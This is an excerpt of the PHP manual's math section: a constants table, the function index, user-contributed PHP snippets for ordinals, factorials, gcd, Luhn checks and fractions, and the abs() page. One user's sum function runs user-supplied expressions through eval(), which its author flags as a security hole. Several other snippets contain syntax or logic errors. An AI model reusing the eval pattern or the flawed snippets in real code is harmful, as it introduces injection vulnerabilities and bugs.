M_2_SQRTPI | 1.12837916709551257390 | 2/sqrt(pi) |
M_SQRT2 | 1.41421356237309504880 | sqrt(2) |
M_SQRT3 | 1.73205080756887729352 | sqrt(3) | PHP 5.2.0
M_SQRT1_2 | 0.70710678118654752440 | 1/sqrt(2) |
M_LNPI | 1.14472988584940017414 | log_e(pi) | PHP 5.2.0
M_EULER | 0.57721566490153286061 | Euler constant | PHP 5.2.0
PHP_ROUND_HALF_UP | 1 | Round halves up | PHP 5.3.0
PHP_ROUND_HALF_DOWN | 2 | Round halves down | PHP 5.3.0
PHP_ROUND_HALF_EVEN | 3 | Round halves to even numbers | PHP 5.3.0
PHP_ROUND_HALF_ODD | 4 | Round halves to odd numbers | PHP 5.3.0
NAN | NAN (as a float) | Not A Number |
INF | INF (as a float) | The infinite |

All constants without a labeled PHP version above are available starting with PHP 4.0.0.

User Contributed Notes

Hayley Watson 22-Mar-2012 09:20
There are also the predefined PHP_INT_MAX and PHP_INT_SIZE constants, that describe the range of possible integer values.


Math Functions

Table of Contents

  • abs — Absolute value
  • acos — Arc cosine
  • acosh — Inverse hyperbolic cosine
  • asin — Arc sine
  • asinh — Inverse hyperbolic sine
  • atan2 — Arc tangent of two variables
  • atan — Arc tangent
  • atanh — Inverse hyperbolic tangent
  • base_convert — Convert a number between arbitrary bases
  • bindec — Binary to decimal
  • ceil — Round fractions up
  • cos — Cosine
  • cosh — Hyperbolic cosine
  • decbin — Decimal to binary
  • dechex — Decimal to hexadecimal
  • decoct — Decimal to octal
  • deg2rad — Converts the number in degrees to the radian equivalent
  • exp — Calculates the exponent of e
  • expm1 — Returns exp(number) - 1, computed in a way that is accurate even when the value of number is close to zero
  • floor — Round fractions down
  • fmod — Returns the floating point remainder (modulo) of the division of the arguments
  • getrandmax — Show largest possible random value
  • hexdec — Hexadecimal to decimal
  • hypot — Calculate the length of the hypotenuse of a right-angle triangle
  • is_finite — Finds whether a value is a legal finite number
  • is_infinite — Finds whether a value is infinite
  • is_nan — Finds whether a value is not a number
  • lcg_value — Combined linear congruential generator
  • log10 — Base-10 logarithm
  • log1p — Returns log(1 + number), computed in a way that is accurate even when the value of number is close to zero
  • log — Natural logarithm
  • max — Find highest value
  • min — Find lowest value
  • mt_getrandmax — Show largest possible random value
  • mt_rand — Generate a better random value
  • mt_srand — Seed the better random number generator
  • octdec — Octal to decimal
  • pi — Get value of pi
  • pow — Exponential expression
  • rad2deg — Converts the radian number to the equivalent number in degrees
  • rand — Generate a random integer
  • round — Rounds a float
  • sin — Sine
  • sinh — Hyperbolic sine
  • sqrt — Square root
  • srand — Seed the random number generator
  • tan — Tangent
  • tanh — Hyperbolic tangent

User Contributed Notes

capripot at gmail dot com 19-Jul-2012 06:48
Another simpler function to check a number with the luhn algorithm :

<?php
function luhn($num){
    if(!$num)
        return false;
    $num = array_reverse(str_split($num));
    $add = 0;
    foreach($num as $k => $v){
        if($k%2)
            $v = $v*2;
        $add += ($v >= 10 ? $v - 9 : $v);
    }
    return ($add%10 == 0);
}
?>

Don't know if foreach and arrays operations are faster than while and substr, but I feel it clearer.
AsherMaximum gmail 19-Apr-2011 06:40
Here's a simple way way to convert a number to an ordinal number I created:

$i == the number to convert. Put this inside a for loop if you need to populate an array.

<?php
// change increment variable to ordinal number.
$n1 = $i % 100; //first remove all but the last two digits

$n2 = ($n1 < 20 ? $1 : $i % 10; //remove all but last digit unless the number is in the teens, which all should be 'th'

//$n is now used to determine the suffix.
$ord = ($n2==1 ? $i.'st' : ( ($n2==2 ? $i.'nd' : ($n2==3 ? $i.'rd' : $i.'th') ) ) )
?>
php at keith tyler dot com 04-Nov-2010 08:09
Another ordinal method, which does not involve utilizing date functions:

<?php
sprintf( "%d%s", $t, array_pop( array_slice( array_merge( array( "th","st","nd","rd"), array_fill( 4,6,"th")), $t%10, 1)));'
?>
rubo77 at spacetrace dot org 28-Jul-2008 04:39
<?php
function lcd($n,$m, $maxvarianzpercent=0){
    // set $maxvarianzpercent=5 to get a small, but approx. result
    /* a better lcd function with varianz:
    for example use
    lcd(141,180,5) to get the approx. lcd '7/9' which is in fact 140/180
    */
    // ATTENTION!!! can be really slow if $m is >1000

    $d=$n/$m;
    $f=1;
    while($d*$f!=intval($d*$f)){
        $f++;
    }
    $r=($d*$f).'/'.$f;
    if(($d*$f)<=10 or $f<=10) return $r;
    else if($maxvarianzpercent>0){
        $f=1;
        while($d*$f!=intval($d*$f) and ($d*$f)-intval($d*$f) > $maxvarianzpercent/100){
            $f++;
        }
        return intval($d*$f).'/'.$f;
    } else return $r;
}
?>
lummox 02-Feb-2008 04:24
Wouldn't the following function do the same but a lot easier than the one in the comment before?

function trimInteger($targetNumber,$newLength) {
    return $targetNumber%pow(10,$newLength);
}
Mike 10-Jan-2008 04:23
//had a mistake in last post, heres the corrected version

/*
Just a simple function to trim digits from the left side of an integer. TRIM DOWN TO 4-> (ie. 987654 => 7654)
*/

function trimInteger($targetNumber,$newLength) {

    $digits = pow(10,$newLength);

    $s = ($targetNumber/ $digits); //make the last X digits the                  decimal part

    $t = floor($targetNumber / $digits); //drop the last X digits (the decimal part)

    $h = $s - $t; //remove all  but the decimal part

    $newInteger = ($h*$digits); //make the everything after the decimal point the new number

    return $newInteger;
}
ddarjany at yahoo dot com 05-Sep-2007 07:25
Tim's fix of Evan's ordinal function causes another problem, it no longer works for number above 100.  (E.g. it returns 111st instead of 111th).
Here is a further modified version which should work for all numbers.

<?PHP

function ordinal($cardinal)    {
  $cardinal = (int)$cardinal;
  $digit = substr($cardinal, -1, 1);

  if ($cardinal <100) $tens = round($cardinal/10);
  else $tens = substr($cardinal, -2, 1);

  if($tens == 1)  {
    return $cardinal.'th';
  }

  switch($digit) {
    case 1:
      return $cardinal.'st';
    case 2:
      return $cardinal.'nd';
    case 3:
      return $cardinal.'rd';
    default:
      return $cardinal.'th';
  }
}
 ?>
barry at megaspace dot com 02-Dec-2006 06:14
Here's a least common denominator (lcd) function:

$array = array(3,4,6,8,18,2);

    function lcd($array,$x) {

        $mod_sum = 0;

        for($int=1;$int < count($array);$int++) {
            $modulus[$int] = ($array[0]*$x) % ($array[$int]);
            $mod_sum = $mod_sum + $modulus[$int];
        }

        if (!$mod_sum) {
            echo "LCD: ".($array[0]*$x)."\n";
        }

        else {
            lcd($array,$x+1);
        }

    }

lcd($array,1);
tembenite at gmail dot com 06-Nov-2006 10:36
To add to what Cornelius had, I have written a function that will take an array of numbers and return the least common multiple of them:

function lcm_arr($items){
    //Input: An Array of numbers
    //Output: The LCM of the numbers
    while(2 <= count($items)){
        array_push($items, lcm(array_shift($items), array_shift($items)));
    }
    return reset($items);
}

//His Code below with $'s added for vars

function gcd($n, $m) {
   $n=abs($n); $m=abs($m);
   if ($n==0 and $m==0)
       return 1; //avoid infinite recursion
   if ($n==$m and $n>=1)
       return $n;
   return $m<$n?gcd($n-$m,$n):gcd($n,$m-$n);
}

function lcm($n, $m) {
   return $m * ($n/gcd($n,$m));
}
tim at durge dot org 27-Oct-2006 02:51
In Evan's ordinal function, the line:

<?php
  $tens = substr($cardinal, -2, 1);
?>

needs to be replaced by:

<?php
  $tens = round($cardinal/10);
?>

or similar. At least on PHP 4.3.10,  substr("1", -2, 1)  returns '1' - so Evan's function gives "1th", as well as "11th".  This is contrary to the documentation, but is noted in the comments on the substr manual page.
Evan Broder 26-Jul-2006 08:42
A slightly more complex but much more accurate cardinal=>ordinal function (the one below doesn't account for 11th, 12th, and 13th, which don't follow the usual rules):

<?php

    function ordinal($cardinal)
    {
        $cardinal = (int)$cardinal;
        $digit = substr($cardinal, -1, 1);
        $tens = substr($cardinal, -2, 1);
        if($tens == 1)
        {
            return $cardinal.'th';
        }

        switch($digit)
        {
        case 1:
            return $cardinal.'st';
        case 2:
            return $cardinal.'nd';
        case 3:
            return $cardinal.'rd';
        default:
            return $cardinal.'th';
        }
    }

?>
edward at edwardsun dot com 20-Jul-2006 03:24
well just a note.. maybe i'm a bit stupid.. but remember to use pow() rather than the "^" sign for exponents.. as it took me 5 minutes to figure out why it wasn't working.
twoscoopsofpig at NOSPAM dot gmail dot com 07-Jul-2006 06:07
@ Moikboy:

This may or may not be more simplified factorialization:

<?php
$f=$fact=25;
while ($fact>0)
{$f=$f*$fact--;}
echo $f;
?>
marasek.SPAMLESS at telton.de 08-Jun-2006 02:23
I could not resist to do a simpler version of the ordinal function:
<?php
function ordinal($num)
{
    $num = (int)$num;
    $digit = substr($num, -1, 1);
    $ord = "th";
    switch($digit)
    {
        case 1: $ord = "st"; break;
        case 2: $ord = "nd"; break;
        case 3: $ord = "rd"; break;
    break;
    }
return $num.$ord;
}
?>
One could replace the typecast with

<?php
if($num===NULL or $num==="")
{return NULL;}
?>

to get an empty result instead of "0th" in case $num is empty too.
moikboy (nospam!) moikboy (nospam!) hu 10-May-2006 10:15
I think, this is the optimal code for calculating factorials:

<?php
function fact($int){
    if($int<2)return 1;
    for($f=2;$int-1>1;$f*=$int--);
    return $f;
};
?>

And another one for calculating the $int-th Fibonacci-number:

<?php
function fib($int){
    static $fibTable=array();
    return empty($fibTable[$int])?$fibTable[$int] = $int>1?fib($int-2)+fib($int-1):1:$fibTable[$int];
};
?>
Florian 03-Mar-2006 10:36
A function that simulates the sum operator. (http://en.wikipedia.org/wiki/Sum). Be careful with the expression because it may cause a security hole; note the single quotes to don't parse the "$".
<?php
# @param    string    $expr    expression to evaluate (for example (2*$x)^2+1)
# @param    string    $var      dummy variable (for example "x")
# @param    integer    $start
# @param    integer    $end
# @param    integer    $step

function sum($expr,$var,$start,$end,$step = 1) {
    $expr = str_replace(';','',$expr);
    $var = str_replace('$','',$var);
    $start = (int)$start;    $end = (int)$end;    $step = (int)$step;    $sum = 0;

    for ($i = $start; $i <= $end; $i = $i + $step) {
        $_expr = str_replace('$'.$var,$i,$expr);
        $_eval = '$_result = '.$_expr.'; return $_result;';
        $_result = eval($_eval);
        if($result === FALSE) return "SYNTAX ERROR : $expr";
        $sum += $_result;
    }
    return (int)$sum;
}
?>
jos at gtacrime dot nl 17-Feb-2006 10:39
Thanks to Chronial "at" cyberpunkuniverse.de, I was able to create the binompdf(n, p, k) function.

<?php
function nCr($n, $k){
   if ($k > $n)
     return NaN;
   if (($n - $k) < $k)
     return nCr($n, ($n - $k));
   $return = 1;
   for ($i=0; $i<$k; $i++){
     $return *= ($n - $i) / ($i + 1);
   }
   return $return;
}

function binompdf($n, $p, $k){
    $return = nCr($n, $k) * pow($p, $k) * pow((1 - $p), ($n - $k));
    return $return;
}
?>
peter-stangl at t-online dot de 02-Feb-2006 12:16
I needed to approximate an integral because i was not able to calculate it, so i wrote this function. It approximates an integral with the composite Simpson's rule.
More information on Simpson's rule: http://en.wikipedia.org/wiki/Simpson%27s_rule

<?php

function simpsonf($x){
// returns f(x) for integral approximation with composite Simpson's rule
   return(pow((1+pow($x, (-4))), 0.5));
}
function simpsonsrule($a, $b, $n){
// approximates integral_a_b f(x) dx with composite Simpson's rule with $n intervals
// $n has to be an even number
// f(x) is defined in "function simpsonf($x)"
   if($n%2==0){
      $h=($b-$a)/$n;
      $S=simpsonf($a)+simpsonf($b);
      $i=1;
      while($i <= ($n-1)){
         $xi=$a+$h*$i;
         if($i%2==0){
            $S=$S+2*simpsonf($xi);
         }
         else{
            $S=$S+4*simpsonf($xi);
         }
         $i++;
      }
      return($h/3*$S);
      }
   else{
      return('$n has to be an even number');
   }
}

?>
daniel at g-loc dot org 01-Dec-2005 07:01
If you're an aviator and needs to calculate windcorrection angles and groundspeed (e.g. during flightplanning) this can be very useful.

$windcorrection = rad2deg(asin((($windspeed * (sin(deg2rad($tt - ($winddirection-180))))/$tas))));
$groundspeed = $tas*cos(deg2rad($windcorrection)) + $windspeed*cos(deg2rad($tt-($winddirection-180)));

You can probably write these lines more beautiful, but they work!
monte at ohrt dot com 18-Oct-2005 03:37
This is an efficient method of calculating the binomial coefficient C(n,k). This code was derived from Owant: Mastering Algorithms with Perl.

<?php
   // calculate binomial coefficient
   function binomial_coeff($n, $k) {

      $j = $res = 1;

      if($k < 0 || $k > $n)
         return 0;
      if(($n - $k) < $k)
         $k = $n - $k;

      while($j <= $k) {
         $res *= $n--;
         $res /= $j++;
      }

      return $res;

   }
?>

If you compiled php with --enable-bcmath, you can get full integer values of extremely large numbers by replacing:

$res *= $n--;
$res /= $j++;

with:

$res = bcmul($res, $n--);
$res = bcdiv($res, $j++);
bjcffnet at gmail dot com 27-Jul-2005 01:57
thearbitcouncil at gmail dot com, you could just use array_sum():
<?php
function average($arr)
{
   if (!is_array($arr)) return false;

   return array_sum($arr)/count($arr);
}

$array = array(5, 10, 15);
echo average($array); // 10
?>
graywh at gmail DELETE dot com 01-Jun-2005 09:48
If you're really concerned about speed, you could compute the factorial of large numbers using the Gamma function of n-1.

Integral y^(t-1)*Exp(-y) for y from 0 to Infinity

For Fibonacci numbers, there's a better-than-recursive way.

((1+sqrt(5))/2)^(n/sqrt(5)) - ((1-sqrt(5))/2)^(n/sqrt(5))
eric at woolhiser dot com 11-Mar-2005 05:41
For all you guys writing mortgage calculators out there:

<?php

function payment($apr,$n,$pv,$fv=0.0,$prec=2){
    /* Calculates the monthly payment rouned to the nearest penny
    ** $apr = the annual percentage rate of the loan.
    ** $n   = number of monthly payments (360 for a 30year loan)
    ** $pv    = present value or principal of the loan
    ** $fv  = future value of the loan
    ** $prec = the precision you wish rounded to
    */
    /****************************************\
    ** No Warranty is expressed or implied. **
    *****************************************/

    if ($apr !=0) {
        $alpha = 1/(1+$apr/12);
        $retval =  round($pv * (1 - $alpha) / $alpha /
        (1 - pow($alpha,$n)),$prec) ;
    } else {
        $retval = round($pv / $n, $prec);
    }
    return($retval);

}
?>
tmpa at yahoo dot com 19-Feb-2005 09:42
while joogat's one line function is short, it is probably better to calculate factorial iteratively instead of recursively. keep in mind if you want large factorials, you'll need to use some sort of arbitrary precision integer or perhaps the BCMath functions. then again, unless you're trying to do large numbers (170! is the highest that you can do that does not return infinity) you probably won't notice any time difference.
<?php
function factorial($in) {
    // 0! = 1! = 1
    $out = 1;

    // Only if $in is >= 2
    for ($i = 2; $i <= $in; $i++) {
        $out *= $i;
    }

    return $out;
}
?>
thearbitcouncil at gmail dot com 06-Jan-2005 11:32
Two functions I didn't find elsewhere... one to compute mean of an array of numbers, and another to computer variance of a sample of numbers. Both take an array of numbers as arguments. Not much error checking, or optimization...

(note: variance function uses the average function...)

<?php

function average($arr)
{
    if (!count($arr)) return 0;

    $sum = 0;
    for ($i = 0; $i < count($arr); $i++)
    {
        $sum += $arr[$i];
    }

    return $sum / count($arr);
}

function variance($arr)
{
    if (!count($arr)) return 0;

    $mean = average($arr);

    $sos = 0;    // Sum of squares
    for ($i = 0; $i < count($arr); $i++)
    {
        $sos += ($arr[$i] - $mean) * ($arr[$i] - $mean);
    }

    return $sos / (count($arr)-1);  // denominator = n-1; i.e. estimating based on sample
                                    // n-1 is also what MS Excel takes by default in the
                                    // VAR function
}

echo variance(array(4,6,23,15,18)); // echoes 64.7...correct value :)

?>
info at gavinvincent dot co dot uk 17-Nov-2004 01:34
If you need to deal with polar co-ordinates for somereason you will need to convert to and from x,y for input and output in most situations: here are some functions to convert cartesian to polar and polar to cartesian
<?
//returns array of r, theta in the range of 0-2*pi (in radians)
function rect2polar($x,$y)
{
     if(is_numeric($x)&&is_numeric($y))
    {
        $r=sqrt(pow($x,2)+pow($y,2));
        if($x==0)
        {
             if($y>0) $theta=pi()/2;
            else $theta=3*pi()/2;
        }
        else if($x<0) $theta=atan($y/$x)+pi();
        else if($y<0) $theta=atan($y/$x)+2*pi();
        else $theta=atan($y/$x);
        $polar=array("r"=>$r,"theta"=>$theta);
        return $polar;
    }
    else return false;
}

//r must be in radians, returns array of x,y
function polar2rect($r,$theta)
{
 if(is_numeric($r)&&is_numeric($theta))
 {
        $x=$r*cos($theta);
    $y=$r*sin($theta);
    $rect=array("x"=>$x,"y"=>$y);
 }
 else
 {
   return false;
 }
}
?>
help at gjbdesign dot com 25-Sep-2004 06:05
Occasionally a user must enter a number in a form. This function converts fractions to decimals and leaves decimals untouched. Of course, you may wish to round the final output, but that is not included here.

<?php
/*Some example values of $q
$q = "2.5";
$q = "2 1/2";
$q = "5/2";
*/
function Deci_Con($q){
//check for a space, signifying a whole number with a fraction
    if(strstr($q, ' ')){
        $wa = strrev($q);
        $wb = strrev(strstr($wa, ' '));
        $whole = true;//this is a whole number
    }
//now check the fraction part
    if(strstr($q, '/')){
        if($whole==true){//if whole number, then remove the whole number and space from the calculations
              $q = strstr($q, ' ');
        }
$b = str_replace("/","",strstr($q, '/'));//this is the divisor
//isolate the numerator
$c = strrev($q);
$d = strstr($c, '/');
$e = strrev($d);
$a = str_replace("/","",$e);//the pre-final numerator
        if($whole==true){//add the whole number to the calculations
            $a = $a+($wb*$b);//new numerator is whole number multiplied by denominator plus original numerator
        }
$q = $a/$b;//this is now your decimal
return $q;
    }else{
        return $q;//not a fraction, just return the decimal
    }
}?>
donnieb819 at hotmail dot NOSPAM dot com 16-Sep-2004 02:58
Method to convert an arbitrary decimal number to its most reduced fraction form (so a string is returned, this method would probably be used for output formatting purposes.)  There were other methods similar to this one on the page, but none did quite what I wanted.  It's maybe not the most elegant code, but it gets the job done.  Hope this helps someone.  An iterative form of Euclid's algorithm is used to find the GCD.

<?php
function dec2frac( $decimal )
{
  $decimal = (string)$decimal;
  $num = '';
  $den = 1;
  $dec = false;

  // find least reduced fractional form of number
  for( $i = 0, $ix = strlen( $decimal ); $i < $ix; $i++ )
  {
    // build the denominator as we 'shift' the decimal to the right
    if( $dec ) $den *= 10;

    // find the decimal place/ build the numberator
    if( $decimal{$i} == '.' ) $dec = true;
    else $num .= $decimal{$i};
  }
  $num = (int)$num;

  // whole number, just return it
  if( $den == 1 ) return $num;

  $num2 = $num;
  $den2 = $den;
  $rem  = 1;
  // Euclid's Algorithm (to find the gcd)
  while( $num2 % $den2 ) {
    $rem = $num2 % $den2;
    $num2 = $den2;
    $den2 = $rem;
  }
  if( $den2 != $den ) $rem = $den2;

  // now $rem holds the gcd of the numerator and denominator of our fraction
  return ($num / $rem ) . "/" . ($den / $rem);
}
?>

Examples:
echo dec2frac( 10 );
echo dec2frac( .5 );
echo dec2frac( 5.25 );
echo dec2frac( .333333333 );

yields:
10
1/2
21/4
333333333/1000000000
pat.mat AT sympatico DOT com 09-Jun-2004 04:36
For people interest in Differential Equations, I've done a function that receive a string like: x^2+x^3 and put it in
2x+3x^2 witch is the differantial of the previous equation.

In the code there is one thing missing: the $string{$i} is often going outOfBound (Uninitialized string offset: 6 in...)
if your error setting is set a little too high... I just dont know how to fix this.

So there is the code for differential equation with (+ and -) only:

<?
function differentiel($equa)
{
    $equa = strtolower($equa);
    echo "Equation de depart: ".$equa."<br>";
    $final = "";

    for($i = 0; $i < strlen($equa); $i++)
    {
        //Make a new string from the receive $equa
        if($equa{$i} == "x" && $equa{$i+1} == "^")
        {
            $final .= $equa{$i+2};
            $final .= "x^";
            $final .= $equa{$i+2}-1;
        }
        elseif($equa{$i} == "+" || $equa{$i} == "-")
        {
            $final .= $equa{$i};
        }
        elseif(is_numeric($equa{$i}) && $i == 0)
        {
            //gerer parenthese et autre terme generaux + gerer ^apres: 2^2
            $final .= $equa{$i}."*";
        }
        elseif(is_numeric($equa{$i}) && $i > 0 && $equa{$i-1} != "^")
        {
            //gerer ^apres: 2^2
            $final .= $equa{$i}."*";
        }
        elseif($equa{$i} == "^")
        {
            continue;
        }
        elseif(is_numeric($equa{$i}) && $equa{$i-1} == "^")
        {
            continue;
        }
        else
        {
            if($equa{$i} == "x")
            {
                $final .= 1;
            }
            else
            {
                $final .= $equa{$i};
            }
        }
    }
    //
    //Manage multiplication add in the previous string $final
    //
    $finalMul = "";
    for($i = 0; $i < strlen($final); $i++)
    {
        if(is_numeric($final{$i}) && $final{$i+1} == "*" && is_numeric($final{$i+2}))
        {
            $finalMul .= $final{$i}*$final{$i+2};
        }
        elseif($final{$i} == "*")
        {
            continue;
        }
        elseif(is_numeric($final{$i}) && $final{$i+1} != "*" && $final{$i-1} == "*")
        {
            continue;
        }
        else
        {
            $finalMul .= $final{$i};
        }
    }
    echo "equa final: ".$finalMul;
}
?>

I know this is not optimal but i've done this quick :)
If you guys have any comment just email me.
I also want to do this fonction In C to add to phpCore maybe soon...
Patoff
ausvald at tut dot by 01-May-2004 02:48
I see there are some factorial functions below.

I'll provide the best one:

<?
function factorial($n){ $n=(int)$n;
  $f=1;
  for(;$n>0;--$n) $f*=$n;
  return $f;
}
?>
florian at shellfire dot de 28-Apr-2004 11:48
Please note that shorter is not always better
(meaning that really short faculty implementation above).

In my opinion, a clearer way to code this is, including a check
for negative or non-integer values.

In order to calculate the faculty of a positive integer,
an iterative way (which might be harder to understand)
is usually a bit faster, but I am using it only for small
values so it is not really important to me:

<?php

    // Calculate the Faculty of a positive int-value
    function iFaculty($a_iFac)
    {
      if ($a_iFac > 0)
      {
          return $a_iFac * $this->iFaculty($a_iFac - 1);
      }
      elseif ($a_iFac == 0)
      {
          return 1;
      }
      else
      {
          return 0;  // Wrong argument!
      }
    }
?>

I've also written another function to calculate the
binomial coefficient of 2 values, I didn't find it anywhere yet so I hope it might help someone (works fine with the above stated faculty-function and ready to be used inside of your own classes!)

<?php

    // calculates the binomial coefficient "n over k" of 2 positive int values
    // for n >= k
    function iBinCoeff($a_iN, $a_iK)
    {
        // the binomial coefficient is defined as n! / [ (n-k)! * k! ]
        return $this->iFaculty($a_iN) / ($this->iFaculty($a_iN - $a_iK) * $this->iFaculty($a_iK));
    }

?>
Chronial "at" cyberpunkuniverse.de 13-Jan-2004 10:47
Here are are a nPr and a nPc function
(had to define NaN - don't know, how to this the "rigth" way)

<?php
define (NaN,acos(1.01));

function nCr($n,$r){
   if ($r > $n)
      return NaN;
   if (($n-$r) < $r)
      return nCr($n,($n-$r));
   $return = 1;
   for ($i=0;$i < $r;$i++){
      $return *= ($n-$i)/($i+1);
   }
   return $return;
}

function nPr($n,$r){
   if ($r > $n)
      return NaN;
   if ($r)
      return $n*(nPr($n-1,$r-1));
   else
      return 1;
}
?>
chris at free-source dot com 07-Oct-2003 06:37
to "convert" scientific notation to a float simply cast it:
<?php
$val = '3.5e4';
$val = (float) $val;
echo $val;
?>

output:
35000
jl85 at yahoo dot com 05-Oct-2003 01:00
Here's yet another greatest common denominator (gcd) function, a reeeeally small one.

function gcd($n,$m){
if(!$m)return$n;return gcd($m,$n%$m);
}

It works by recursion. Not really sure about it's speed, but it's really small! This won't work on floating point numbers accurately though. If you want a floating point one, you need to have at least PHP 4, and the code would be

function gcd($n,$m){
if(!$m)return$n;return gcd($m,fmod($n,$m));
}
fabien_mornand at yahoo dot fr 01-Oct-2003 12:46
here is an algorithm to calculate gcd of a number. This is Euclid algorithm i was studying in Maths. I've converted it in php for the fun.

<?php
 if($a && $b)
  { $ax=$a; $bx=$b;
   $r=fmod($a,$b);
  if(!$r){$rx=$r;}
   while($r){
    $rx=$r;
    $a=$b;
    $b=$r;
    $r=fmod($a,$b);
    }
   }
echo 'PGCD ('.$ax.' , '.$bx.' ) = '.$rx;
?>
jordanolsommer at imap dot cc 27-Aug-2003 05:07
The reason the bitwise AND ("&") operator works to determine whether a number is odd or even is because odd numbers expressed in binary always have the rightmost (2^0) bit = 1 and even numbers always have the 2^0 bit = 0.

So if you do a " 1 & $num", it will return zero if the number is even (since xxxxxxx0 [the even number in binary] and 00000001 [the 1]) don't share any bits, and will return 1 if the number is odd (xxxxxx1 and 000001).

a clever way of doing things, but $num % 2 would work as well i think :).
matthew_gaddis at yahoo dot com 24-Apr-2003 11:23
Here is a cleaner factorial function:

function factorial($s){
    if($s) $r = $s * factorial($s - 1);
    else $r = 1;
    return $r;
}
jerry dot wilborn at fast dot net 16-Apr-2003 08:10
Here is how to calculate standard deviation in PHP where $samples is an array of incrementing numeric keys and the values are your samples:

$sample_count = count($samples);

for ($current_sample = 0; $sample_count > $current_sample; ++$current_sample) $sample_square[$current_sample] = pow($samples[$current_sample], 2);

$standard_deviation = sqrt(array_sum($sample_square) / $sample_count - pow((array_sum($samples) / $sample_count), 2));
jl85 at yahoo dot com 22-Feb-2003 05:04
Theres another faster way of doing even/odd number checking by using bitwise operators. Don't ask me how it works, I just found this out by experimenting with it (could the editor possibly explain?)

if ((1&$num)) {
 echo "$num is odd";
}

if (!(1&$num)) {
 echo "$num is even";
}

How it works is (1&$num) returns a 1 for odd numbers and returns 0 when it's an even number.
nazgul26 (at_sign) windfox dot net 08-Dec-2002 11:58
This code will convert a decimal to it's fraction equivalent. The precision can be set by changing PRECISION.

<?php
define(PRECISION, .01);

$count=0;
$result=array();
decimalToFraction($_REQUEST['dec'],$count,&$result);
$count = count($result);
$simp_fract = simplifyFraction($result,$count,1,$result[$count]);

echo $simpl_fract;

// Start of functions

/*
   Converts a decimal to unsimplified fraction represented in an array
*/
function decimalToFraction($decimal,$count,$result) {
    $a = (1/$decimal);
    $b = ( $a - floor($a)  );
    $count++;
    if ($b > .01 && $count <= 5) decimalToFraction($b,$count,&$result);
    $result[$count] = floor($a);
}

/*
    Simplifies a fraction in an array form that is returned from
    decimalToFraction
*/
function simplifyFraction($fraction,$count,$top,$bottom) {
    $next = $fraction[$count-1];
    $a = ($bottom * $next) + $top;
    $top = $bottom;
    $bottom = $a;
    $count--;
    if ($count > 0) simplifyFraction($fraction,$count,$top,$bottom);
    else {
        return "<font size=1>$bottom/$top</font>";
    }
}
?>
jbeardsl at gte dot net 09-Nov-2002 07:36
I needed a truncate function to operate on real numbers. I preferred not to use a string-manipulation method, so here's my solution. HTH...

function truncate ($num, $digits = 0) {

    //provide the real number, and the number of
    //digits right of the decimal you want to keep.

    $shift = pow(10 , $digits);
    return ((floor($num * $shift)) / $shift);

}
jbeardsl [found_at] gte [d0t] net 08-Nov-2002 10:15
I was looking for a truncate function. Not finding one, I wrote my own. Since it deals with everything as a number, I imagine it's faster than the alternative of using string functions. HTH...

<?php
function truncate ($num, $digits = 0) {

    //provide the real number, and the number of
    //digits right of the decimal you want to keep.

    $shift = pow(10, $digits);
    return ((floor($num * $shift)) / $shift);
}
?>
patience at worldonline dot nl 05-Aug-2002 06:08
The example for Factorials given above is wrong. Here a correct version, so that you do not have to reinvent the wheel again...

<?php
function mathFact( $s )
{
  $r = (int) $s;

  if ( $r < 2 )
    $r = 1;
  else {
    for ( $i = $r-1; $i > 1; $i-- )
      $r = $r * $i;
  }

  return( $r );
}
?>
shanx at shanx dot com 08-Jul-2002 10:13
<?

/**
 * Function to calculate base36 values from a number. Very
 * useful if you wish to generate IDs from numbers.
 *
 * @param $value The number
 * @param $base The base to be applied (16, 36 or 64)
 * @return The calculated string
 * @author Shashank Tripathi (shanx@shanx.com)
 * @version 0.1 - Let me know if something doesnt work
 *
 */

function base36($value, $base)
{
    $baseChars = array('0', '1', '2', '3', '4', '5',
                       '6', '7', '8', '9', 'a', 'b',
                       'c', 'd', 'e', 'f', 'g', 'h',
                       'i', 'j', 'k', 'l', 'm', 'n',
                       'o', 'p', 'q', 'r', 's', 't',
                       'u', 'v', 'w', 'x', 'y', 'z'
                     );

    $remainder = 0;
    $newval = "";

    while ( $value > 0 )
    {
        $remainder = $value % $base;
        $value = ( ($value - $remainder)/ $base );
        $newval .= $baseChars[$remainder];
    }
    return strrev($newval);

}

echo "The string for 46655, for instance, is " . base36(46655, 36);

?>
webkid%webkid.com 01-Jun-2002 12:54
And the reason I needed a Factorial function is because I there were no nPr or nCr functions native to PHP, either.

function n_pick_r($n,$r){$n=(int)$n; $r=(int)$r;return (fact($n)/fact($n-$r));}
function n_choose_r($n,$r){$n=(int)$n; $r=(int)$r;return (n_pick_r($n,$r)/fact($r));}

Hope that helps someone!
webkid%webkid.com 01-Jun-2002 12:49
I found it kind of irritating that PHP had no native functionality for a calculating Factorials. Since I really didn't feel like loading the GMP library, I figured I'd write my own function.

function fact($s){$r=(int)$s; for ($i=$r;$i--;$i>1){$r=$r*$i;} return $r;}

I think that's right... I havn't tested it extensively but it should work.
cornelius at skjoldhoej dot dk 12-Jun-2001 11:03
I found that when dealing with tables, a 'least common multiple' function is sometimes useful for abusing tablespan and the likes.

So here goes (you may choose to remove the first part of the gcd function if the function call is well-behaved):

<?php
function gcd(n, m) //greatest common divisor
{
    n=abs(n); m=abs(m);
    if (n==0 and m==0)
        return 1; //avoid infinite recursion
    if (n==m and n>=1)
        return n;
    return m<n?gcd(n-m,n):gcd(n,m-n);
}

function lcm(n, m) //least common multiple
{
    return m*(n/gcd(n,m));
}
?>

This may or may not be something to consider adding to the mathematical function library.
ian at mp3 dot com 20-Feb-2001 12:43
for those looking for a credit card verification function i wrote a simple LUHN Formula algorithm:

<?php
$valid = 1;

$numOfDigits = 0 - strlen($ccNumber);

$i = -1;
while ($i>=$numOfDigits){
  if (($i % 2) == 0){
    $double = 2*(substr($ccNumber, $i, 1));
    $total += substr($double,0,1);
    if (strlen($double > 1)){
      $total += substr($double,1,1);
    }
  } else {
    $total += substr($ccNumber, $i, 1);
  }
  $i--;
}

if (($total % 10) != 0){
  $valid = 0;
}
?>


Absolute value

  • « Math Functions
  • acos »
  • PHP Manual
  • Math Functions
  • Absolute value

abs

(PHP 4, PHP 5)

abs — Absolute value

Description

number abs ( mixed $number )

Returns the absolute value of number.

Parameters

number

The numeric value to process

Return Values

The absolute value of number. If the argument number is of type float, the return type is also float, otherwise it is integer (as float usually has a bigger value range than integer).

Examples

Example #1 abs() example

<?php
echo abs(-4.2); // 4.2 (double/float)
echo abs(5);    // 5 (integer)
echo abs(-5);   // 5 (integer)
?>

See Also

  • gmp_abs() - Absolute value
  • gmp_sign() - Sign of number

User Contributed Notes

